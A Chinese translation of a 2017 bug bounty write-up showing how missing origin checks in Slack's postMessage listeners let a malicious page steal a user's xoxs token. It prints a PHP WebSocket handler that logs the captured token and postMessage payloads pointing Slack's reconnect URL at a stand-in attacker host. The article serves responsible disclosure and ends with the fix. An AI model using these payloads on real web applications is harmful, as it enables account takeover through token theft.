【技术分享】使用postMessage()和WebSocket重连来窃取你Slack的Token

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发布时间 : 2017-03-08 11:36:39

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译文声明

本文是翻译文章,文章来源:detectify.com

原文地址:https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/

译文仅供参考,具体内容表达以及含义原文为准。

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翻译:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


长话短说

我可以创建一个恶意页面并用它将你的Slack WebSocket重连至我自己的WebSocket,然后我就可以窃取你Slack的私人Token了。在我将该问题上报给Slack的五个小时之后他们便修复了相应漏洞,并给我提供了三千美金的漏洞奖励。

我将在这篇文章中给大家介绍这个我从Slack挖到的漏洞,我不仅会介绍这个漏洞的利用方法,而且也会告诉大家我是如何发现这个漏洞的。


背景知识

使用window.addEventListener('message', func)和window.postMessage()来传递信息绝对是一种实现跨域通信的绝佳利器。但是,这种方法也有其致命缺陷,即无法检查消息中的源(origin),这个问题我们此前也已经讨论过多次了【参考资料1】【参考资料2】。

上周我无聊的时候翻看了一下Slack的源码,我发现Chrome真的非常方便,因为我们可以直接查看到那些对象设置了监听器。你可以在元素标签中看到如下图所示的事件监听器:

t01837d52ed258f0b2a.png

我发现Slack会将信息传递给window对象的一个监听器,相应的监听器函数如下所示:

var _receivePostedMessageFromChildWindow = function(evt) {
    if (!evt || !evt.data || !evt.data.message_type) {
        TS.utility.calls_log.logEvent({
            event: _utility_calls_config.log_events.invalid_msg_from_child_window,
            value: evt
        });
        return
    }
    if (evt.data.origin_window_type === TS.utility.calls.window_types.call_window) {
        switch (evt.data.message_type) {
        case TS.utility.calls.messages_from_call_window_types.update_mini_panel:
            ...
            break;
        case TS.utility.calls.messages_from_call_window_types.set_call_window_loaded:
            ...
...

正如你所看到的那样,他们并没有验证消息中的evt.origin和evt.source。这是两个无法伪造的只读属性,但由于他们没有对这两个属性进行验证,所以这也就意味着我可以用它们来做一些有意思的事情,比如说,我可以通过另一个由我控制的window对象并使用postMessage()来访问这个window对象的功能以及函数。


设计一个PoC

现在,如果只跟Slack的技术人员说他们忘记进行源验证的话,那就没啥意思了,而且也不能体现这个问题的严重性。因此,我必须仔细检查一下他们的源代码,然后设计出一种比较好的漏洞利用场景。

第一个需要克服的难题是:如果我想用我的payload来攻击某个用户的话,我怎么知道我应该用哪一个team-URL?

就在此时,我发现https://my.slack.com 会将你重定向到你当前的Slack实例。这就非常棒了!

在查看了所有我能发送的事件(event)之后,我发现Slack在保护用户通话这一点上做得非常好。因为即使我可以控制Slack向浏览器所发送的通知信息,即使我可以切换当前的聊天会话,但我仍无法控制这些事件的调用。

一种比较白痴的PoC将会是这种情况:如果你打开了我的恶意页面,然后给其他用户拨打语音电话的话,那么我就可以切断你跟这位用户的语音通话。

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所以我还得再努力一把。在进行了深入分析之后,我发现代码中还有很多针对语音通话(calls)的引用,具体如下所示:

if (event.data.message_type != TS.utility.calls.messages_to_call_window_types.ms_msg && !event.data.reply_to) {
    TS.utility.calls_log.logEvent({
        event: _calls_config.log_events.message_from_parent_window,
        value: event.data
    })
}

这就非常明显了,该函数中的这一大堆代码就是用来实现Slack语音通话功能的:

t015c146844b708c60d.png

当用户使用语音通话功能时,虽然通话窗口驻留在另一个新窗口中,但实际的通信还是由Slack的主窗口完成的,这也是他们使用postMessage()的主要原因。

在查看了https://slack.com/call  的源码之后,我发现这里也存在相同的问题,即没有对消息源进行验证,但是这里的问题比之前的还要有意思。

但是我又遇到了一个问题,https://slack.com/call  这个节点还需要一个类似/call/UXXXX这样的参数来作为组ID或用户ID才能正常访问,而这与我之前遇到的问题非常类似,即“我怎样才能攻击任意用户(即使他不在我的工作团队(team)之中)?”此时我发现只需要在地址中加一个参数“me”就可以了,所以我打算直接使用下面这个URL地址:

https://slack.com/call/me

这个地址将会把你定向到你当前实例的/call节点,但奇怪的是当你重新加载页面之后页面就会崩溃。

t01c3fcf7a3c2c6d0ee.png

现在我已经知道了以下信息:

1.一个可以重定向到用户当前Slack实例的地址。

2.一个使用了postMessage()的也main,我们应该可以利用这个页面中的一系列事件(event)来做一些有意思的事情。

3.一个可以应用到任意Slack用户的URL地址

4.一个无效页面,但是这个页面同样使用了一个postMessage监听器

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上面这些信息就是我所需要的东西了。


事件(event)分析

现在,我们来看看有哪些可以发送的事件,下面就是其中一个:

call-listener.png

我们可以用Chrome来设置断点,然后分析这个功能。在这个函数中,又有一大堆处理信息的代码:

t01aceae62d6f45f0d8.png

由于其不会进行源验证,这也就意味着我可以控制主程序所解析的信息。现在,我不仅可以控制call窗口发送的信息,而且还可以控制这个窗口中的事件。函数中的下列参数暴露了Slack的跨域控制问题:

"origin_window_type": "incoming_call", "message_type": "ms_msg"

就此看来,找出一个有意思的PoC只是时间问题了,把这个PoC整出来之后,我就要把它报给Slack团队了。


找出有意思的事件(event)

没错,我尝试了网站提供的大量事件,下面是我已经测试过的事件列表:

accounts_changed(), apps_changed(imsg), bot_added(imsg), bot_changed(imsg), bot_removed(imsg), channel_archive(imsg), channel_converted_to_shared(imsg), channel_created(imsg), channel_deleted(imsg), channel_history_changed(imsg), channel_history_changed_worker(imsg), channel_joined(imsg), channel_left(imsg), channel_marked(imsg), channel_rename(imsg), channel_unarchive(imsg), commands_changed(imsg), dnd_override(imsg), dnd_updated(imsg), dnd_updated_user(imsg), email_domain_changed(imsg), emoji_changed(imsg), enterprise_rename(imsg), error(imsg), file_change(imsg), file_comment_added(imsg), file_comment_deleted(imsg), file_comment_edited(imsg), file_created(imsg), file_deleted(imsg), file_private(imsg), file_public(imsg), file_shared(imsg), file_unshared(imsg), goodbye(imsg), group_archive(imsg), group_close(imsg), group_converted_to_shared(imsg), group_deleted(imsg), group_history_changed(imsg), group_history_changed_worker(imsg), group_joined(imsg), group_left(imsg), group_marked(imsg), group_open(imsg), group_rename(imsg), group_unarchive(imsg), hello(imsg), im_close(imsg), im_created(imsg), im_history_changed(imsg), im_history_changed_worker(imsg), im_marked(imsg), im_open(imsg), issue_change(imsg), manual_presence_change(imsg), member_joined_channel(imsg), member_joined_group(imsg), member_left_channel(imsg), member_left_group(imsg), message(imsg), message_changed(imsg), message_changed_worker(imsg), message_deleted(imsg), message_deleted_worker(imsg), message_replied(imsg), mpim_close(imsg), mpim_history_changed(imsg), mpim_history_changed_worker(imsg), mpim_joined(imsg), mpim_marked(imsg), mpim_open(imsg), msgReceived(imsg), msgReceivedFromParentWindow(imsg), onStartxu(), pin_added(imsg), pin_removed(imsg), pref_change(imsg), presence_change(imsg), reaction_added(imsg), reaction_removed(imsg), reconnect_url(imsg), sh_room_join(imsg), sh_room_leave(imsg), sh_room_update(imsg), slack_broadcast(imsg), star_added(imsg), star_removed(imsg), status_change(imsg), subteam_created(imsg), subteam_deleted(imsg), subteam_self_added(imsg), subteam_self_removed(imsg), subteam_updated(imsg), subtype__channel_history_changed(imsg), subtype__channel_join(imsg), subtype__channel_leave(imsg), subtype__channel_purpose(imsg), subtype__channel_topic(imsg), subtype__file_share(imsg), subtype__group_history_changed(imsg), subtype__group_join(imsg), subtype__group_leave(imsg), subtype__group_purpose(imsg), subtype__group_topic(imsg), subtype__im_history_changed(imsg), subtype__message_changed(imsg), subtype__message_deleted(imsg), subtype__message_replied(imsg), subtype__mpim_history_changed(imsg), subtype__mpim_join(imsg), subtype__sh_room_created(imsg), subtype__sh_room_shared(imsg), team_domain_change(imsg), team_icon_change(imsg), team_join(imsg), team_plan_change(imsg), team_pref_change(imsg), team_profile_change(imsg), team_profile_delete(imsg), team_profile_reorder(imsg), team_rename(imsg), teams_joined_shared_channel(imsg), teams_left_shared_channel(imsg), thread_marked(imsg), thread_subscribed(imsg), thread_unsubscribed(imsg), update_thread_state(imsg), user_added_to_team(imsg), user_can_manage_shared_channels(imsg), user_change(imsg), user_read_only_channels(imsg), user_removed_from_team(imsg), user_typing(imsg)

在所有事件中,reconnect_url这个事件吸引了我的注意,不仅因为它非常常见,而且它还存在一个明显的问题:

if (!TS.ms.fast_reconnects_enabled)
    return;
var url = imsg.url;
TS.ms.setReconnectUrl(url)

上面这段代码会对Slack所使用的WebSocket-URL进行转换。WebSocket的初始化是通过一个GET事件完成的,这个过程需要用到大量参数,其中有一个参数名叫“token”,而且还是一个xoxs-token,只要我拿到这个token,我就可以访问你的Slack账号了。

websocket.png

所以,我自己建立了一个本地WebSocket,我这里选择的是Ratchet,因为它设置起来比较方便。我其实并不需要一个完整的socket,我只需要它能够正常响应init请求即可。所以我修改了onOpen请求,具体如下所示:

public function onOpen(ConnectionInterface $conn) {
    // Store the new connection to send messages to later
    $this->clients->attach($conn);
    $token = $conn->WebSocket->request->getQuery()['token'];
    echo sprintf("WE GOT TOKEN: %sn", $token);
    file_put_contents('token.txt', $token);
    echo "New connection! ({$conn->resourceId})n";
}

这段代码会将token导出到本地,然后我准备使用命令控制台来向窗口发送信息,并尝试能否连接我的socket:

window.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")

结果并不尽如人意。因为原始的WebSocket已经建立了连接,当它调用其他事件时,并不会再初始化一次重连(reconnect)。但是当我在查看网站其他的事件处理器时,我发现了一个名叫“goodbye”的方法:

goodbye: function(imsg) {
    if (!TS.lazyLoadMembersAndBots())
        return;
    TS.info("Got a goodbye message, so disconnecting from the MS");
    TS.ms.disconnect()
},

原来,Slack将一个名叫“fast_reconnects_enabled”的参数设置为了“ture”,而正是这个参数才使得我能够执行reconnect_url事件,然后再通过goodbye事件完成重连。


信息整合

现在,我们来整理一下思路:

1.我们开启了一个本地的web-socket,它只有一个功能,就是监听、拦截,并将获取到的token参数保存到我们的服务器中。

2.当目标用户点击了我们恶意页面中的链接之后,我们会开启一个新的窗口,然后将用户定向到https://slack.com/call/me,最后将针对该窗口的引用保存在变量b之中。

3.我们还运行了一个小脚本来尝试通过我们自己的WebSocket来获取token。

4.接下来,通过下面这个postMessage来重置socket-URL:

b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"reconnect_url","url":"ws://your-socket-domain:9001/websocket/AAA"}}, "*")

5.每两秒钟我们还要调用一次goodbye方法来确保socket连接能够被中断:

b.postMessage({"origin_window_type":"incoming_call","message_type":"ms_msg","msg":{"reply_to":false,"type":"goodbye"}}, "*")

6.当slack.com的窗口连接到了我们的socket之后,我们就可以导出目标用户的token,然后再使用这个xoxs-token来从Slack API的auth.test节点收集数据。

至此,我们已经成功窃取到了目标用户的token。

token.png

演示视频

我还专门制作了一个短视频来演示整个攻击过程:

解决方案

Slack所采用的解决方案如下所示(验证信息源):

if (!TS.utility.calls.verifyOriginUrl(evt.origin)) {
  return
}
...
verifyOriginUrl: function(originHref) {
        var a = document.createElement("a");
        a.href = originHref;
        return a.hostname == window.location.hostname
},


总结

我在上周五的晚上将该问题上报给了Slack,仅在33分钟之后他们便给我回复了,并且在5小时之后修复了相应的问题,效率简直不要太高。最后,感谢Slack给我的3000美金。

本文翻译自detectify.com 原文链接。如若转载请注明出处。
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